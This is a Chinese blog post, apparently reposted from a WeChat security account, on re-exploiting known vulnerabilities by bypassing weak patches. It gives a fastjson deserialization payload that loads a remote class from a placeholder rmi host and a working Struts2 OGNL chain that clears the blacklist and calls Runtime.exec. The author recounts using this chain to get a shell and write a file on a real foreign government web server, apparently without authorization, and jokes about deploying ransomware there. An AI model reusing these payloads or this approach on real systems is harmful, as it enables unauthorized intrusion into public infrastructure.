在渗透过程中使用扫描器经常能扫出一些误报,因为扫描的yaml文档写得比较简陋,请求到服务器上还有那个漏洞点的文件就输出漏洞存在了。这种误报其实是有价值的,实战中不少网站存在漏洞的地方是重要业务功能点,不可能直接删掉,由于代码比较复杂也不可能从头跟进变量赋值的过程用整体重构的办法修复漏洞,只能依靠补丁或者waf进行简单的过滤。所以根据误报我们可以去搜索引擎上查找信息下载相应的补丁内容,审计修改代码地方看是否能够进行对nday的二次利用。个人感觉总比一直黑盒当无头苍蝇好总结一下目前补丁的主流修复方式
1.直接修改相关的配置文件403漏洞路径,常用于修复某些越权+RCE的组合拳漏洞。普通的前台漏洞一般不会采用这样的方法,因为和直接删文件没啥区别,都会严重影响正常用户的业务功能。bypass403的方法有很多,拓展名绕过(我一般称之为抠字眼,比如限制了xxx/admin就使用xxx/admin/),refer头以及X-Original-URL/X-Rewrite-URL覆盖请求,以及最近的ByteCTF题目里边考到的Nginx特性trim()绕过等等。这里推荐使用一款宝藏工具,GitHub地址:https://github.com/iamj0ker/bypass-403,集成了以上提到的所有绕过方法。
2.补丁代码对相关的危险字符过滤了但是没完全过滤,毕竟开发或者安全运维不是做waf的,很多时候都是打一下动一下,今天互联网侧出了个poc是这样写的我就过滤这个,明天出来另外的poc我又再打一个补丁,所以有的时候看文章我们会看到某些nday的复现过程中作者给了poc1 poc2 poc3。典型的例子是fastjson,面试题里经常问的某某版本该如何打的那个fastjson。1.2.24之前因为com.sun.rowset.JdbcRowSetImpl这个类被加载的时候忽略了对属性进行处理导致了反序列化rce,阿里说好我改,1.2.25之后的版本在原先loadClass方法的地方引入了checkAutoType()函数,以黑白名单的方式进行过滤当默认情况时,autoTypeSupport属性为false,先黑名单过滤,再白名单过滤,如果白名单匹配上则直接加载该类,否则报错autoType is not support. com.sun.rowset.JdbcRowSetImpl。但如果这个autoType开启的话,判断条件变成了看类名是否以L开头并且以;结尾(这么过滤的逻辑是内部类和泛型类一般长这样,所以认为是友军),符合条件的话就会提取出其中的类名加载进来。故有payload:
{
"b":{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://xxxx.com:9999/TouchFile",
"autoCommit":true
}
}
于是又被绕过。后面的1.2.42版本,为了防止被审计高手嚯嚯,ParserConfig.java里把恶意类的黑名单加密成了hash值,结果直接被人爆破出来,详见https://github.com/LeadroyaL/fastjson-blacklist然后双写包裹绕过。1.2.43版本对于L开头分号结尾的字符全部禁止,然后出现了数组绕过;[开头提取类名,后面字符换成为”[、{,接着奏乐接着舞。1.2.45安装了mybatis过后又可以利用properties传参不当绕过……总结就是多灾多难,年年补年年过滤年年被绕,堪称是赛博⭐️😡被各类姿势蹂躏,💢!🤔🍑?⚡🌪️🔪!
字符过滤类的补丁最好打,对系统正常运行的影响最小,然而在代码能力过硬的情况下也是最容易造成nday二次利用的
3.waf和防火墙等设备,万金油,对于自身能力有限的运维来说是很不错的选择。bypass各类设备严格来说算是另外一块大的领域,网上相关的文章和利用也很多,相关思路因为篇幅原因这里就不多讲了
5.在能查到补丁的源码,白盒操作的前提下,本来某漏洞的触发点为A这个恶意的方法,补丁里面禁用了A相关的机制,但是能利用代码的特性调用其他方法B绕过限制,这也是题目中这个www.gov.xx的绕过思路。本身漏洞是一个OGNL表达式注入,OGNL注入有几大要素,首先是表达式,表达式可以理解为一句使用特定语法的句子,其中包括的信息会告诉程序“干什么”;根对象(Root Object)是表达式的操作目标,被表达式干;上下文环境(Context),在 OGNL 的内部通过表达式执行的操作都会在一个环境内进行,这个环境是一个 Map 结构,称之为 OgnlContext。上面提到的根对象(Root Object)也会被加入到上下文环境中去,并且这将作为一个特殊的变量进行处理,所以context的作用也可以理解为“在哪里干”举个具体的例子便于理解假设我们有一个Person类,包含姓名和年龄属性,以及一个Address类,表示地址信息。这个时候再创建一个Person对象,并使用OGNL表达式来访问其属性
//类定义
public class Address {
private String city;
private String country;
public String getCity() {
return city;
}
public void setCity(String city) {
this.city = city;
}
public String getCountry() {
return country;
}
public void setCountry(String country) {
this.country = country;
}
}
public class Person {
private String name;
private int age;
private Address address;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public Address getAddress() {
return address;
}
public void setAddress(Address address) {
this.address = address;
}
}
//创建对象并设置属性
public class Main {
public static void main(String[] args) throws Exception {
// 创建地址对象
Address address = new Address();
address.setCity("Beijing");
address.setCountry("China");
// 创建人物对象并设置地址
Person person = new Person();
person.setName("SunXiaoChuan");
person.setAge(114514);
person.setAddress(address);
//使用OGNL表达式访问属性
//使用OGNL表达式执行相关的操作
}
}
//OGNL 表达式使用示例(记得用之前import ognl.Ognl和ognl.OgnlContext)
// 获取姓名: "name"
String name = (String) Ognl.getValue("name", context, person);
// 获取年龄: "age"
int age = (Integer) Ognl.getValue("age", context, person);
// 获取城市: "address.city"
String city = (String) Ognl.getValue("address.city", context, person);
// 获取国家: "address.country"
String country = (String) Ognl.getValue("address.country", context, person);
看完三大要素和这个代码示例过后相信大家都清楚OGNL是怎么工作的了,然后我们就可以看下图(为了便于理解画得其实没那么准确,只能说大方向是这样的),这个就是该网站某中间件,官方对其某个历史漏洞的多次修补。看到这个图估计大家也知道我说的是哪个nday了,主打一个心照不宣,毕竟是一国www门户,尊重(其实是怕被微信河蟹)
经过多次的修补最终该补丁可以说是非常安全了,ognl.MemberAccess和ognl.DefaultMemberAccess全部列入黑名单,同时不允许使用静态方法和构造函数。但是通过搜索引擎查找我还是在互联网侧上找到了绕过方法相关代码:
https://github.com/apache/struts/blob/STRUTS_2_5_16/core/src/main/java/com/opensymphony/xwork2/ognl/OgnlValueStack.java#L117
这个代码也是挺拟人的,struts.valueStack问context,大变老师为什么这个版本不发挥?是恶意类太强势了吗?上下文映射里有个context孝子getContext真有意思,脱口而出别带人家_memberAccess节奏😡因为有这个getContext方法,我们可以构造payload第一部分:
#context['com.opensymphony.xwork2.ActionContext.container']) container=
这一部分通过#context获取ActionContext的容器实例并将其赋值给变量#container。此时还需要绕过黑名单的excludedClasses和excludedPackageNames
老外思路惊人,不bypass了,而是选择了从容器里获取OGNL工具类的实例,然后赋值变量给#ognlUtil,利用工具类清空黑名单
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance( .opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))
此时设置成员访问权限为默认状态
(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))
重新发送请求新创建的_memberAccess,
setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))
绕过补丁成功弹计算器实现rce
网上提到有的版本莫名其妙在OgnlUtil类会添加一个setParameters函数,所以需要编码传入才能绕过执行getRuntime()实现rce,我感觉不用啊。因为SecurityMemberAccess这个成员对象是在OgnlValueStack类里的(https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/ognl/OgnlValueStack.html),没有关系,当然有可能是因为我机翻的原因理解错了吗?没深究,反正直接原payload就成功复现了后续也是丝滑的写入文件,没有任何设备或者waf,从发包到文件落地一路畅通无阻,网页时光机链接:
https://web.archive.org/web/20240922090148/https://www.gov.lk/services/erl/es/gov/gov.txt
如果仅仅是利用的话,绕过这个补丁真不难,网上有现成的分析文章和payload(我这payload就是抄的人家的),简简单单复制粘贴一下。nday虽然补了,但是绕过修补的方法已经在互联网侧传开了,我个人感觉疏忽程度和留着nday完全不修也大差不差,春秋笔法一下直接可以写公众号小作文《震惊!某国www.gov.xxx主站竟存在数年前的高危nday未修补》。即使是政府等重要资产的运维也会存在这样一种心态:反正只要我花了时间弄了补丁就没事了,你先别说补丁到底打了有用没,反正我态度到位了,真出了事情我责任也挺小。由于这种心态的存在,绕过补丁二次利用nday思路的价值也就体现出来了,对于那种有一定安全意识的大型资产的突破有时有奇效打完后看着服务器ip地址咋有点眼熟,拿fofa公众号把不许我发的那两个字版测绘一下,6,部署了一堆组件和框架
正常来说门户主站为了安全都是放静态页面起展示作用的,业务功能交给子域名,一个站部署这么多东西难怪出洞,然后基线和安全设备的管理更是一坨,就我刚刚利用的那个payload放雷池里跑一下
但凡安个免费版的开源waf也不至于这么容易暴毙,除了这个getshell之外当时还挖到一堆目录遍历和js接口泄露的小毛病。测试完能忍得住五分钟不喷这个运维的都是神人
而且这国家也真的穷,www和其他三十多个gov部委的域名都共用这一台服务器,我要是什么勒索组织黑帽团伙进去都不用打内网,直接opt目录下面./extortion.elf就能给他全国嚯嚯了,可能这就是小国家的悲哀吧(以上相关漏洞内容均已打包成文档发送给该国通信管理局邮箱)
原文始发于微信公众号(渗透安全团队):实战 | 某国主站www.gox.xx绕过补丁Getshell及相关思路
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论